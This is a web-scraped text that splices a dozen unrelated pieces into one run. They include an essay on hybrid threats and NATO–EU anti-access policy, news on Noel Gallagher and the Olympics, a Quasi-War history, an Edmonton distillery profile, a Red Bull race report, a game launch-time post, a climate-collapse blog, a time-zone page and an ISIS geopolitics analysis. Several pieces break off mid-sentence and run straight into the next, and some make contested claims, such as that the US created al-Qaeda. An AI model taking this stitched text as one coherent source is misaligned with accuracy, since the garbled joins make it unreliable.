Clausewitz considered the calculation of a CoG a matter of „strategic judgment”, to be addressed by the top decision-makers. Differing from the situation in the early 19th century today it is still important but not sufficient to focus on military decision-making. Unfortunately, most political decision-makers today have only limited education and training nor experience in CoG related developments and political-strategic options resulting from alternative DIME-employment options. Of course also military leaders have growth potential. Consequently, there is a need to improve and to develop politico-military skills dealing effectively with hybrid threats in a broad and comprehensive format. Civilian and military leadership needs to be better prepared for comprehensive interagency actions.
The good news: the European Union has taken with its Global Strategy presented in June 2016 a significant step in that direction as it aims to „... deepen its partnership with NATO through coordinated defence capability development, parallel and synchronised exercises, and mutually reinforcing actions to build the capacities of our partners, counter hybrid and cyber threats, and promote maritime security.”9 NATO shares this approach as Alexander Vershbow, Deputy Secretary General of NATO, pointed out: „Hybrid warfare mixes hard and soft power. And so our response should also be multi-faceted. NATO and the European Union each have distinct hard and soft power tools. Our challenge is to bring them together so that we complement each other, and reinforce the essential measures taken by our member states.”10
Intended steps aim to help build the capacity of other arms of government, such as interior ministries and police forces, to counter unconventional attacks, including propaganda campaigns, cyber assaults or home-grown separatist militias. NATO, the European Union and their member nations now need to develop a sense of urgency to make the DIME work. By building up pre-crisis capabilities to deal with hybrid security challenges, nations will be better able to assign responsibility to an aggressor nation.
Recently, NATO ambassadors and defence ministers have held simulation and scenario-based exercises to improve their situational awareness and responsiveness vis-à-vis hybrid threats. Obviously, this has been a wake-up call to many. Allies are now more encouraged than ever to map potential vulnerabilities that can arise from Russia’s involvement in business, financial, media or energy concerns, for example, and to share the lessons learned from resilience stress testing. These exercises have also highlighted the importance of effective strategic communications to dispel false information, propaganda, lies and myths.
5. Access
A twin brother of the CoG has become the Anti-Access/Area Denial concept – often used by weaker forces against stronger ones, because preventing the enemy from taking and holding a particular area is principally easier than controlling it. Over the past two decades, China, Russia, Iran, and others have developed considerable A2/AD capabilities such as ballistic and cruise missiles, offensive cyber weapons, electronic warfare, and more. These capabilities enable them to threaten freedom of access and presence for third parties across all operating domains: air, land, sea, space, and cyberspace.11 Russian A2/AD capacities for example in the high north in Murmansk, the Kola Peninsula, in Kaliningrad and in the Black Sea, and recently also in the eastern Mediterranean are potentially impeding and complicating NATO reinforcements and other NATO operations.
In order to mitigate the impending global A2/AD challenge, the U.S. Department of Defense has not only rolled out in late 2014 the „Defense Innovation Initiative”12, but also the corresponding „Third Offset Strategy”.13 The objective has been to leverage U.S. advantages in technologies such as big data, stealth, advanced manufacturing, robotics, and directed energy, with a view toward sustaining and advancing U.S. technological – to include military-technological – superiority and offset its shrinking military force structure in a new era of great power competition. Related developments will likely set the pace and evolution of military-technological innovation for decades to come and on a global scale.
Clearly, with the upcoming hybrid threats Europe will find its own A2/AD challenges. Soon the full spectrum of hybrid threats and consequently the whole spectrum of governmental and non-governmental means needs to be addressed. The Warsaw Summit decisions and the European Union Global Strategy point in a promising direction as Europeans must consider the geographical features of their eastern flank and southern neighbourhood, their prosperity interests in Asia, the technological maturity of Europe’s A2/AD challengers, and Europe’s own technological capabilities and political limitations, last but not least also cultural backgrounds that shape European societies.14
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de Buenos Aires 1706 Argentina Phone: +54 11 4650 8472 Email: [email protected] Ron Broersma Defense Research and Engineering Network Email: [email protected] Gont & Broersma Expires September 13, 2011 [Page 15]Image caption Noel Gallagher quit Oasis in 2009 following a row with his brother Liam
Singer Noel Gallagher has revealed that he turned down an invitation to play at the Olympics closing ceremony after organisers asked him to mime.
The former Oasis star told Xfm's Danny Wallace that he was also put off by the secrecy surrounding the ceremony.
"They wanted me to do it acoustically and then they wanted me to mime," he told Wallace on Wednesday.
"I'm all for miming in TV shows, but if you're in a stadium with 80,000 people and you're pretending? I can play live!
"In the end, I was just like, 'you know what? I'd rather watch it on the telly.'"
Gallagher, who launched his solo career fronting The High Flying Birds in 2011, told Wallace he was asked to perform at Sunday's closing ceremony "ages ago".
"I was like... 'who else is playing?' and they were like, 'we can't tell you, you've got to sign a confidentiality agreement' - it's like it's the Iran nuclear programme or something.
Image caption Liam Gallagher sang the Oasis hit Wonderwall at the ceremony
"I mean what do they think is going to happen? ITV are going to get hold of it and put on a gig the night before with the same bill?!
Ultimately, Gallagher was replaced by his brother - and ex-bandmate - Liam, who performed the Oasis hit Wonderwall with his new band Beady Eye.
But the track, originally written by Noel, had to be re-recorded. Noel said he only gave final permission for the performance to go ahead two days before the ceremony.
"I did play a bit of cat and mouse with them for a few days," admitted the singer.
"I took it 'til Friday night at ten o'clock before I said yes.
"I was like'meh... it's alright.... I'm not sure with this new string arrangement' and they were like, 'the gig's on Sunday!' so I was like, 'okay, alright, you can have it then.'"
Noel later took a swipe at Beady Eye's performance, dedicating his own performance of Wonderwall to "Stratford's finest Oasis tribute band" in a gig on Tuesday night.
Oasis split up three years ago after an argument backstage at a concert in Paris.
David Bowie, The Sex Pistols and The Rolling Stones all reportedly turned down the chance to appear in the Olympic Games Closing Ceremony, according to The Guardian.
Jessie J, Elbow, Take That and The Spice Girls were among those who took part in the Olympic finale, directed by artistic director Kim Gavin.An undeclared war between the United States and France, the Quasi-War was the result of disagreements over treaties and America's status as a neutral in the Wars of the French Revolution. Fought entirely at sea, the Quasi-War was largely a success for the fledgling US Navy as its vessels captured numerous French privateers and warships, while only losing one of its vessels. By late 1800, attitudes in France shifted and hostilities were concluded by the Treaty of Mortefontaine.
Dates
The Quasi-War was officially fought from July 7, 1798, until the signing of the Treaty of Mortefontaine on September 30, 1800. French privateers had been preying on American shipping for several years prior to the beginning of the conflict.
Causes
Principle among the causes of the Quasi-War was the signing of the Jay Treaty between the United States and Great Britain in 1794. Largely designed by Secretary of the Treasury Alexander Hamilton, the treaty sought to resolve outstanding issues between the United States and Great Britain some of which had roots in the 1783 Treaty of Paris that had ended the American Revolution. Among the treaty's provisions was a call for British troops to depart from frontier forts in the Northwest Territory which had remained occupied when state courts in the United States interfered the repayment of debts to Great Britain. Additionally, the treaty called for the two nations to seek arbitration regarding arguments over other outstanding debts as well as the American-Canadian border. The Jay Treaty also provided the United States limited trading rights with British colonies in the Caribbean in exchange for restrictions on the American export of cotton.
While largely a commercial agreement, the French viewed the treaty as a violation of 1778 Treaty of Alliance with the American colonists. This feeling was enhanced by the perception that the United States was favoring Britain, despite having declared neutrality in the ongoing conflict between the two nations. Shortly after the Jay Treaty took effect, the French began seizing American ships trading with Britain and, in 1796, refused to accept the new US minister in Paris. Another contributing factor was the United States refusing to continue repaying debts accrued during the American Revolution. This action was defended with the argument that the loans had been taken from the French monarchy and not the new French First Republic. As Louis XVI had been deposed and then executed in 1793, the United States argued that the loans were effectively null and void.
The XYZ Affair
Tensions heightened in April 1798, when President John Adams reported to Congress on the XYZ Affair. The previous year, in an attempt to prevent war, Adams sent a delegation consisting of Charles Cotesworth Pinckney, Elbridge Gerry, and John Marshall to Paris to negotiate peace between the two nations. Upon arriving in France, the delegation was told by three French agents, referred to in reports as X (Baron Jean-Conrad Hottinguer), Y (Pierre Bellamy), and Z (Lucien Hauteval), that in order to speak to Foreign Minister Charles Maurice de Talleyrand, they would have to pay a large bribe, provide a loan for the French war effort, and Adams would have to apologize for anti-French statements. Though such demands were common in European diplomacy, the Americans found them offensive and refused to comply. Informal communications continued but failed to alter the situation as the Americans refused to pay with Pinckney exclaiming "No, no, not a sixpence!" Unable to further advance their cause, Pinckney and Marshall departed France in April 1798 while Gerry followed a short time later.
Active Operations Begin
Announcement of the XYZ Affair unleashed a wave of anti-French sentiment across the country. Though Adams had hoped to contain the response, he was soon faced with loud calls from the Federalists for a declaration of war. Across the aisle, the Democratic-Republicans, led by Vice President Thomas Jefferson, who had generally favored closer relations with France, were left without an effective counter-argument. Though Adams resisted calls for war, he was authorized by Congress to expand the Navy as French privateers continued to capture American merchant ships. On July 7, 1798, Congress rescinded all treaties with France and the US Navy was ordered to seek out and destroy French warships and privateers operating against American commerce. Consisting of approximately thirty ships, the US Navy began patrols along the southern coast and throughout the Caribbean. Success came quickly, with USS Delaware (20 guns) capturing the privateer La Croyable (14) off New Jersey on July 7.
The War at Sea
As over 300 American merchantmen had been captured by the French in the previous two years, the US Navy protected convoys and searched for the French. Over the next two years, American vessels posted an incredible record against enemy privateers and warships. During the conflict, USS Enterprise (12) captured eight privateers and liberated eleven American merchant ships, while USS Experiment (12) had similar success. On May 11, 1800, Commodore Silas Talbot, aboard USS Constitution (44), ordered his men to cut out a privateer from Puerto Plata. Led by Lt. Isaac Hull, the sailors took the ship and spiked the guns in the fort. That October, USS Boston (32) defeated and captured the corvette Berceau (22) off Guadeloupe. Unknown to the ships' commanders, the conflict had already ended. Due to this fact, Berceau was later returned to the French.
Truxtun & the Frigate USS Constellation
The two most noteworthy battles of the conflict involved the 38-gun frigate USS Constellation (38). Commanded by Thomas Truxtun, Constellation sighted the 36-gun French frigate L'Insurgente (40) on February 9, 1799. The French ship closed to board, but Truxtun used Constellation's superior speed to maneuver away, raking L'Insurgente with fire. After a brief fight, Captain M. Barreaut surrendered his ship to Truxtun. Almost a year later, on February 2, 1800, Constellation encountered the 52-gun frigate La Vengeance. Fighting a five-hour battle at night, the French ship was pummeled but was able to escape in the darkness.
The One American Loss
During the entire conflict, the US Navy only lost one warship to enemy action. This was the captured privateer schooner La Croyable which had been purchased into the service and renamed USS Retaliation. Sailing with USS Montezuma (20) and USS Norfolk (18), Retaliation was ordered to patrol the West Indies. On November 20, 1798, while its consorts were away on a chase, Retaliation was overtaken by the French frigates L'Insurgente and Volontaire (40). Badly outgunned, the schooner's commander, Lieutenant William Bainbridge, had no choice but to surrender. After being captured, Bainbridge aided in Montezuma and Norfolk's escape by convincing the enemy that the two American ships were too powerful for the French frigates. The ship was recaptured the following June by USS Merrimack (28).
PeaceFinding the perfect gift can be a struggle.
The malls are packed and trying to navigate online shopping sites can frazzle the most ardent shoppers.
To ease the holiday strain, Radio Active, CBC Edmonton's afternoon show, is bringing you an offering of only-in-Edmonton gifts which are sure to keep you off the naughty list.
The Only-in-YEG shopping list features the people behind the creations you'll find only in Edmonton.
Red Cup Distillery
Clad in overalls, his red wiry beard sprouting from his chin, Robert de Groot spends his days brewing moonshine.
He runs Red Cup Distilling, tucked away inside an unassuming strip mall on the outskirts of Vegreville.
His hooch is a special brew. It's not aged and — unlike prohibition-era white lighting — its primary ingredient is wheat, not corn.
It might not be strong enough to strip paint, but it's made the old-fashioned way.
"That's 100 per cent, single-green, wheat-malt, sour-mash, unaged whisky," said DeGroot.
"But whisky. The government ruined the name in 1928 after prohibition, by saying whisky must be aged in a barrel for three years."
Although De Groot calls his brew moonshine or wheat-shine, it has a sophisticated, carefully-crafted taste.
"Its sweet, but it's not sugary. There is fruit flavours, but there is not one you can distinguish," he said.
"It's a lovely Alberta flavour. It's a prairie flavour.
"This whisky is for people with shit on their boots, not in their boots."
Although DeGroot takes inspiration from the rum runners of a bygone era, he's no hillbilly.
He's a classically-trained opera singer, pianist and bassoonist with a university degree. He spent years working in finance, property management and finally the oil-and-gas industry before trading in his suit for overalls.
Born and raised in Prince George, B.C., he comes from a long line of farmers.
His father and grandfather would often make spirits out of wheat and rye from their fields, but he never learned the craft from his family.
"I was always embarrassed about my childhood," de Groot said.
"My parents raised me frugally and my Opa was frugal and I was always embarrassed about being low key and then I went to get my schooling and did all the things that people say are the right things."
But de Groot's perspective on the simple life changed when he fell on hard times. His wife was in school finishing her master's degree, and money was tight.
"There was a point when we only had $200 for six weeks of groceries," he said.
"And we had been eating out. I was getting really fat eating all these pre-made foods and doing all these things that my Opa would never do and my parents would never do."
Thirsty for change
To save money, they decided to skip the grocery store and head to the country in search of cheap produce. It was there, back on the farm, where he realized he was thirsty for something different.
The still found at Red Cup Distillery. A century ago you could find similar ones in attics across the prairies, de Groot says. (Supplied) "When we were coming back to the city, I said, 'Honey, we have enough money for a bottle of liquor' and that's when the women's intuition comes in and she goes, 'We won't have enough money for the next six weeks if you start drinking'," he said."And so we bought a whole bunch of fruit and I started distilling."
It would be years before his weekend hobby would turn into a full-time career.
After an ugly parting of ways with an employer, he finally left his 9-to-5 job behind and started working on recreating the whisky of his ancestors.
But he needed a still first.
He couldn't afford an imported one so he contacted a friend with a special knowledge of the craft, an old work colleague who had been arrested back in the 1960s for an illicit hooch operation.
"So we built the still in Edmonton. I'm the only one that was licensed to build a still and AGLC approved it.
"All my equipment looks like it came from a garage sale. Each has a very important job to, but I'm the only that hasn't gone to a catalogue and picked [one out].
"You would find this in a barn or a shed in pretty much any country."
'Sometimes what we need to see is behind us'
Since the distillery officially opened in December 2015, he's had people from all over the world come to Vegreville to buy his brew, and he's sold out almost every batch he's made.
"Now trust me, there were some crappy batches at first," he said.
His business has been a journey and, like his hooch, De Groot says it's only getting better with time.
"It frustrated me to know that my grandparents knew how to do it and they didn't have university degrees. If Opa dropped out of school at Grade 1 to make ends meet and he can do it, why can't I?
"And that was the beginning of this humbling, that maybe we look too far forward and sometimes what we need to see is behind us.Javascript is disabled in your browser, so this image gallery has reduced functionality. Winner Ricky Lightfoot competes in Red Bull Steeplchase, Lynmouth UK on October 9, 2016. Picture: Mark Roe Participants race in Red Bull Steeplchase, Lynmouth UK on October 9, 2016. Picture: Mark Roe Participants race in Red Bull Steeplchase, Lynmouth UK on October 9, 2016. Picture: Mark Roe Winner Ricky Lightfoot crosses the finish line at Red Bull Steeplchase, Lynmouth UK on October 9, 2016. Picture: Mark Roe Winner Claire Rodgers crosses the finish line at Red Bull Steeplchase, Lynmouth UK on October 9, 2016. crosses the finish line at Red Bull Steeplchase, Lynmouth UK on October 9, 2016. Picture: Mark Roe Participants compete at Red Bull Steeplechase in Lymouth, UK, on October 9, 2016. Picture: Olaf Pignataro / Red Bull Content Pool Participants compete at Red Bull Steeplechase in Lymouth, UK, on October 9, 2016. Picture: Olaf Pignataro / Red Bull Content Pool Male winner Ricky Lightfoot competes at Red Bull Steeplechase in Lymouth, UK, on October 9, 2016. Picture: Olaf Pignataro / Red Bull Content Pool Second place Mary Menon, first place Claire Rodgers and third place Victoria Crawford celebrate on the podium of Red Bull Steeplechase in Lymouth, UK, on October 9, 2016. Picture: Olaf Pignataro / Red Bull Content Pool Second place James McMullan, first place Ricky Lightfoot and third place Ceri Rees celebrate on the podium of Red Bull Steeplechase in Lymouth, UK, on October 9, 2016. Picture: Olaf Pignataro / Red Bull Content Pool Red Bull Steeplechase in Lymouth. Picutre: Leo Francis Red Bull Steeplechase in Lymouth. Picutre: Leo Francis Red Bull Steeplechase in Lymouth. Picutre: Leo Francis Red Bull Steeplechase in Lymouth. Picutre: Leo Francis Red Bull Steeplechase in Lymouth. Picutre: Leo Francis Red Bull Steeplechase in Lymouth. Picutre: Leo Francis Red Bull Steeplechase in Lymouth. Picutre: Leo Francis Red Bull Steeplechase in Lymouth. Picutre: Leo Francis
Red Bull Steeplechase
Red Bull Steeplechase Prev Next Close
Nearly 400 competitors took on Exmoor on Sunday as the Red Bull Steeplechase made its way to North Devon.
The 23-mile elimination race started and finished in Lynmouth, with the slowest runners knocked out at checkpoints along the way.
Passing through Trentishoe, Martinhoe and Lynton, only 40 of the initial competitors would finish the race.
Entrants came from across the UK, and it was Ricky Lightfoot from Cumbria who crossed the line first in the men’s discipline with a time of 2hrs, 41mins and 22secs.
He finished more than eight minutes ahead of James McMullan, who came in affter 2hrs, 50mins and 16secs.
Ceri Rees was third, finishing in 2hrs, 54mins and 4secs.
North Devon Road Runner Peter Sutton crossed the line 11th overall, with a time of 3hrs, 5mins and 50secs.
Race winner Lightfoot said: “I really enjoyed the course and running along the coastline was stunning.
Participants race in Red Bull Steeplchase, Lynmouth UK on October 9, 2016. Picture: Mark Roe Participants race in Red Bull Steeplchase, Lynmouth UK on October 9, 2016. Picture: Mark Roe
“The track had lots of challenges but once you cross the last steeple and you’re heading downhill, you can see the finish line next to the crystal blue water of Lynmouth – you can’t ask for better than that.”
The fastest female on the day was London’s Claire Rogers, who crossed the line in 3hrs, 19mins and 57secs.
She was followed by Mary Menon, who completed the event in 3hrs, 23mins and 26secs.
Third place went to Victoria Crawford, who crossed the line in 3hrs, 28mins and 22secs.
Ilfracombe Running Club’s Becky Williamson finished ninth with a time of 3hrs, 52mins and 17secs.
Ladies winner Rogers said: “I am so pleased to win such a fabulous race.
“It has been an amazing day – I had so much fun crawling up the muddy steeples but my favourite parts had to be the sections of flats through the forests.”Blue Post confirmation: http://eu.battle.net/wow/en/forum/topic/12617603666 Based on the information that has been provided on forums and the official release date notes, WoD Should go live at 00:00 Central European Time (CET) on Thursday 13th NovemberIn Albania, Andorra, Austria, Belgium, Bosnia-Herzegovina, Croatia, Czech Republic, Denmark, France, Germany, Gibraltar, Vatican City, Hungary, Italy, Kosovo, Liechtenstein, Luxembourg, Macedonia, Malta, Monaco, Montenegro, Netherlands, Norway, Poland, San Marino, Serbia, Slovakia, Slovenia, Spain, Sweden, Switzerland WoD should become active at 00:00 CET 13th November (Midnight between the 12th - 13th)In UK, Republic of Ireland, Iceland, Portugal, Faroe Islands and Canary Islands WoD should become active at 23:00 GMT on Wednesday the 12th November as these places are CET-1In Belarus, Bulgaria, Estonia, Finland, Greece, Latvia, Lithuania, Moldova, Romania, Russia - Kaliningrad, Turkey, Ukraine WoD will become active at 01:00 EET on Thursday 13th November as these places are CET+1If your country is not listed above you can work out what time it will be playable in your country by knowing how many hours you are + or - from CET and working from there. This is only for people playing on the EU servers which we should all be being in a EU forumTwo recent pieces of scientific evidence really hammer home the predicament of modern industrial civilization, and they have to do with the fact that our globalized, just-in-time economic model is hopelessly wed to carbon-based energy. Once one understands this, then there can be no delusions about why we are on such a catastrophic trajectory of greenhouse gas emissions. As was explained in a previous post, GDP is fundamentally and directly linked to CO2 emissions. Below, two graphs(click to go to source) illustrate this fact:
It’s not really about evil fossil fuel companies, although they do certainly exert enormous political clout and do conspire to protect their business model by doing such things as spreading doubt on climate change science, but as with all corporations, externalizing social and environmental costs is endemic to the profit system and the coercive forces of competition in capitalist markets.
Firstly, there is the graph submitted by Professor Jonathan Overpeck, a climate scientist for the past 30 years, Professor of Geosciences and Atmospheric Sciences, and Co-Director Institute of the Environment, Univ. of Arizona:
This clearly shows we are firmly on track for hitting 3.2-5.4°C warming by the end of the century or sooner. This kind of rapid warming is incompatible with most life on Earth. To get an idea of what the world will be like at 3°C once lag time catches up to real time, we can look back 3 million years ago in the Pliocene Era when CO2 levels were similar to today and temperatures were 3°C warmer:
The northern hemisphere was free of glaciers and icesheets, beech trees grew in the Transantarctic mountains, sea levels were 25 metres higher [Climate Dynamics, 26, 249-365], and atmospheric carbon dioxide levels were 360-400 ppm, very similar to today. There are also strong indications that during the Pliocene, permanent El Nino conditions prevailed. Hansen says that rapid warming today is already heating up the western Pacific Ocean, a basis for a coming period of ‘super El Ninos’ [Proc. Nat. Acad. Sci., 103, 39, 14288-93]…
…The collapse of the Amazon is part of the reversal of the carbon cycle projected to happen around 3 degrees, a view confirmed by a range of researchers using carbon coupled climate models. Vast amounts of dead vegetation stored in the soil – more than double the entire carbon content of the atmosphere – will be broken down by bacteria as soil warms. The generally accepted estimate is that the soil carbon reservoir contains some 1600 gigatonnes, more than double the entire carbon content of the atmosphere…
…Three degrees would likely see increasing areas of the planet being rendered essentially uninhabitable by drought and heat. Rainfall in Mexico and central America is projected to fall 50 per central. Southern Africa would be exposed to perennial drought, a huge expanse centred on Botswana could see a remobilisation of old sand dunes [Nature, 435, 1218-21], much as is projected to happen earlier in the US west. The Rockies would be snowless and the Colorado river will fail half the time. Drought intensity in Australia could triple, according to the CSIRO, which also predicts days in NSW above 35 degrees will increase 2 to 7 times.
With extreme weather continuing to bite – hurricanes may increase in power by half a category above today’s top-level Category Five – world food supplies will be critically endangered. This could mean hundreds of millions – or even billions – of refugees moving out from areas of famine and drought in the sub-tropics towards the mid-latitudes. As the Himalayan ice sheet relentlessly melts with rising temperatures, the long-term water flows into Asia’s great rivers and breadbasket valleys — the Indus, Ganges and Brahmaputra, the Mekong, Yangtse and Yellow rivers — will fall dramatically. If global temperatures rise by three degrees, and that’s becoming the un-official target for western governments, water flow in the Indus is predicted to drop by 90 per cent by 2100. The lives of two billion people are at stake.
As the Arctic continue to warm, melting permafrost in the boreal forests and further north in the Arctic tundra is now starting to melt, triggering the release of methane, a greenhouse gas twenty times more powerful than CO2, from thick layers of thawing peat. The West Siberian bog is estimated to contain 70 billion tonnes of CO2. Prof. Sergei Kirpotin, a botanist at Russia’s Tomsk State University, says: “There’s a critical barrier… Once global warming pushes the melting process past that line, it begins to perpetuate itself.” The West Antarctic ice sheet would likely to irreversibly melt.
At 5-6°C:
Five degrees
• Five degrees of warming occurred during the Eocene, 55 million years ago: breadfruit trees grew on the coast of Greenland, while the Arctic Ocean saw water temperatures of 20C within 200km of the North Pole itself. There was no ice at either pole; forests were probably growing in central Antarctica.
• The Eocene greenhouse event was likely caused by methane hydrates (an ice-like combination of methane and water) bursting into the atmosphere from the seabed in an immense “ocean burp”, sparking a surge in global temperatures. Today vast amounts of these same methane hydrates still sit on subsea continental shelves.
• The early Eocene greenhouse took at least 10,000 years to come about. Today we could accomplish the same feat in less than a century.
Six degrees
• At the end of the Permian period, 251 million years ago, up to 95% of species were extinct as a result of a super-greenhouse event, resulting in a temperatures rise by six degrees, perhaps because of an even bigger methane belch than happened 200 million years later in the Eocene.
• One scientific paper investigating “kill mechanisms” during the end-Permian suggests that methane hydrate explosions “could destroy terrestrial life almost entirely”. Acting much like today’s fuel-air explosives (or “vacuum bombs”), major oceanic methane eruptions could release energy equivalent to 10,000 times the world’s stockpile of nuclear weapons.
Another valuable website worth reading describes, degree by degree, the changes that will happen to the Earth from anthropogenic global warming. Due to the unpredictable nature of the internet and web pages disappearing, I have saved that essay as an entire screenshot here.
Keep in mind that the IPCC, an institution that has consistently underestimated the effects of anthropogenic climate change, states that in order to stay below 2°C of warming, emissions will have to be 40-70% lower than they were in 2010 by 2050 and at zero by the end of the century, “or could possibly even require taking carbon dioxide out of the atmosphere, a controversial proposition.” As the Keeling Curve grows ever steeper year after year, the Hail Mary of a techno-fix inevitably becomes the only option left. However, concomitant with the CO2 problem is the acidification of the oceans which will require a miracle solution as well. As was explained in a previous post, if all emissions stopped yesterday, we would still be locked into a warming of 2.65°C.
The second important piece of information is a recent MIT study:
Above graph, from MIT’s Climate and Energy Outlook 2014, shows a drastic rise in global energy consumption by fuel type.
If CO2 levels were to double to 800ppm:
If carbon dioxide levels reach 800 ppm, ocean pH is projected to drop another.3 to.4 units (Today we have measured a decline of.1 pH units from 8.2 to 8.1 in the last century) – one of the scenarios projected by the Intergovernmental Panel on Climate Change by 2100 –raising levels of hydrogen ion, H +, 100 to 150 percent (Orr et al., 2005). As this happens and it will take “tens of thousands of years” for the chemistry of the oceans to return to pre-industrial levels, at least that is what the Royal Society of Britain proclaims. – link
We’re already seeing massive die-offs of oysters and scallops from an acidification (PH-decline) of 0.1PH, but what would happen at a drop of 0.3-0.4 units(150+% more acidic than at the beginning of the industrial revolution)?:
“…we found that reef development ceased below pH level 7.7… Ultimately, what we observed was that the diversity of reefs progressively declines with increasing CO2. At concentrations similar to those predicted for the end of this century at a ‘business as usual’ emissions scenario, the “coral reef” observed was depauperate and lacked the structural complexity of present healthy tropical coral reefs. These changes are simply due to ocean acidification, i.e., even without the projected +2°C warming of the oceans associated with rising greenhouse gases. The 0.5° warming we have already observed in the tropics in the last 50 years has already caused mass coral bleaching events and declining coral calcification.” – link
—————
…The authors of the report, released today from the Third Symposium on the Ocean in a High-CO2 World, review the current science on the effects on marine organisms, and write that there is a “medium confidence” level that shellfish harvests will decline. There is also a medium confidence level that economic damage will result from impacts on coral reefs, with tourism, food and shoreline protection suffering. The size of this is unclear but one estimate is for $1 trillion in damage from coral loss alone.
How larger species will fare as oceans acidify is less clear. The report gives only a “low confidence” rating to the idea that top predators and fin fish catches will be reduced. But any losses in this area could hit hard the 540 million people whose livelihoods depend on such fisheries.
Scientists also have a “very high confidence” that the ocean’s capacity to take up carbon decreases as waters acidify. So even larger cuts in human greenhouse gas emissions than currently envisaged may be needed to meet targets set to limit global warming as a result, the authors write….
…The report authors also say that the acidity of the oceans could increase by 170% by the end of the century, corresponding to a drop in surface ocean pH by 0.32. This occurs under a pessimistic scenario of high human emissions. Since the industrial revolution, surface ocean pH has dropped from 8.2 to 8.1. As pH is a logarithmic scale, the increase in acidity since the industrial revolution could reach around 170% under this scenario.
Under lower-emissions scenarios, this decrease would be around 0.07. But current emissions show no sign of dropping to those necessary to achieve such a goal, cautions Riebesell.
“If you look at current trajectories we’re no way below the [high emissions scenario],” Riebesell says. “Of course we hope the human race is smart enough to learn at some point and turn the wheel round.” – link
As long as the shelves in the local grocery store are filled with relatively cheap food, the television is broadcasting the usual “bread and circus”, water is flowing from the faucet, and other creature comforts of industrial civilization are on tap, homo economicus will blithely ride into the dark future of mass extinction, tectonic shifts of the biosphere, and the collapse of an unsustainable lifestyle.
CNN is running a program of their newscasters’ family roots. Why do I feel like this is a slick PR campaign to put a main street face on the mainstream media? Sorry, but I still don’t trust them and we’re still on track for the collapse of modern civilization despite all their smug smiles.Africa uses six time zones and thirteen standard time zone names to describe them. Africa time zone offsets range from UTC/GMT -1 to UTC/GMT + 4. From west to east the time zones in Africa are:
(UTC/GMT -1) Cape Verde Time Zone. (UTC/GMT +0) Greenwich Mean Time Zone, Western European Time Zone and Western Sahara Time Zone. (UTC/GMT +1) Central European Time Zone and West Africa Time Zone. (UTC/GMT +2 ) Central Africa Time Zone, Eastern European Time Zone, and South Africa Time Zone. (UTC/GMT +3) East Africa Time Zone. (UTC/GMT +4) Mauritius Time Zone, Reunion Time Zone and Seychelles Time Zone.
View Africa Time Zone abbreviations for more details.
Daylight Saving Time (DST) is currently not used by any country in Africa.
The government of Morocco announced that effective October 27, 2018 the country will observe GMT/UTC + 1h year round. Previously Morocco observed UTC/GMT + 0 standard time and UTC/GMT + 1 during daylight saving time.
The king of Swaziland announced in 2018 that the country has been renamed eSwatini which means "land of the Swazis". This change had no impact on the country's time observance.
Africa Time Zone Map
Note: Cape Verde Time is UTC/GMT -1 and Mauritius Time and Seychelles are UTC/GMT +4.Loading... Loading...
The fall of ISIS in Syria and Iraq signals a new era in the groups future. With eyes now on other battlefield theatres, the group is continually expanding in countries central to the U.S. vs Russian war of influence.
Damascus (Analysis) — ISIS’ so-called caliphate is, by all accounts, crumbling in Iraq and Syria as Russia, Syria, Hezbollah and Iraq have all claimed victory over the terror group.
While this may mean that ISIS’ stranglehold over significant portions of territory in these two countries may, in the days to come, be effectively ended, it doesn’t necessarily mean the ultimate death of the terror group as an entity, and its ability to strike its opponents in almost any location may continue unabated.
A senior Kurdish “anti-terrorism” official has already warned that the collapse of ISIS’ territorial domain may, in fact, result in the group morphing into something akin to “al-Qaeda on steroids.”
So what next for the terror group? Unlikely to accept defeat, ISIS may stick around in Iraq and Syria for as long as possible and resort to guerrilla-style attacks against occupying and enemy forces. Yet it seems highly likely that ISIS will step up its operations in other arenas as well — most likely in Afghanistan, Libya, and perhaps even Egypt and the Philippines, to name a few.
When the real reason the U.S. will seek to target ISIS in these countries — mainly an infatuation with opposing America’s Cold War rival, Russia — becomes clear, Washington’s intentions and its means of achieving those goals appear that much more sinister.
Afghanistan: Relocated ISIS a new target for U.S. proxy war
Afghan men bury a victim of a suicide attack at a Shia mosque in Kabul, Afghanistan, Oct. 21, 2017. ISIS is claiming responsibility for the attack that killed at least 39 and wounded at least 41. (AP/Rahmat Gul)
According to AFP, French and Algerian militants, some who arrived from Syria, have joined the ranks of ISIS in northern Afghanistan and established new bases there. AFP notes that analysts are suggesting foreigners may be heading to Afghanistan after being driven from Syria and Iraq.
One source told AFP that roughly 200 foreigners had set up camp in Northern Afghanistan, and that French-speaking Caucasian men and women had been training militants in the region.
The U.S. military already gave the rest of the world a hint that it has not left Afghanistan out of its sights earlier this year when it dropped the so-called “mother of all bombs” (MOAB) on caves and tunnels used by ISIS in eastern Afghanistan (it later turned out that these tunnels were actually built by the CIA). It also was revealed that the decision to drop the bomb was made by a commander in the field and that U.S. President Donald Trump had no direct involvement in the strike – demonstrating the level of violence that the U.S. military can inflict without any supposed democratic oversight.
However, according to Foreign Policy, the real threat inside Afghanistan does not lie with ISIS, but lies with Washington’s so-called traditional enemies:
But the Islamic State’s savagery has drawn eyes away from the true danger: the Taliban and al Qaeda, which continue to sit pretty after nearly 16 years of unsuccessful efforts at elimination. Although dethroned by U.S. military action in 2001, the Taliban has remained a tenacious opponent.”
This paradigm is put forward despite the fact that the U.S. essentially created al-Qaeda and the Taliban in Afghanistan as a means of drawing Russia into a ten-year quagmire that ultimately collapsed the Soviet empire.
So why do these groups pose a specific threat to the U.S., and why at this point in time? As FP explains, Washington’s desire to intervene further in Afghanistan will always be about containing a much larger rival than al-Qaeda or the Taliban:
Now, according to top U.S. officials, that threat is backed by another old foe, Russia. On April 24, Gen. John Nicholson |
was paid to board directors, including former chairman Rainer Beltzner, whose compensation topped $232,757 in 2011.
Ontario's auditor general criticized the Liberals for failing to oversee Ornge after giving it $730 million over five years and allowing it to borrow another $300 million.
The Liberals insisted Ornge went rogue with its web of for-profit companies and questionable business deals, as well as exorbitant salaries and lavish expenses.
Mobile users, view the document hereThe Rikers Island correctional complex, which costs New York City hundreds of millions of dollars annually to run. Emmanuel Dunand/AFP/Getty Images
A recent report found that jailing an inmate in New York City for one year costs more than four years of tuition at an Ivy League university.
The Independent Budget Office found that in 2012 it cost the city $167,731 to hold each of its daily average of 12,287 inmates, or about $460 per inmate per day.
Undergraduate tuition at Harvard University is $38,891 annually, or $155,564 for a four-year degree.
Of those inmates, more than 2,000 were being held for drug offenses, surpassing the number for murders or robberies.
The majority of inmates are African-American (57 percent), followed by Hispanics (33 percent), whites (7 percent) and Asians (1 percent), a New York City Department of Corrections report said. The majority of inmates come from less affluent areas of the city.
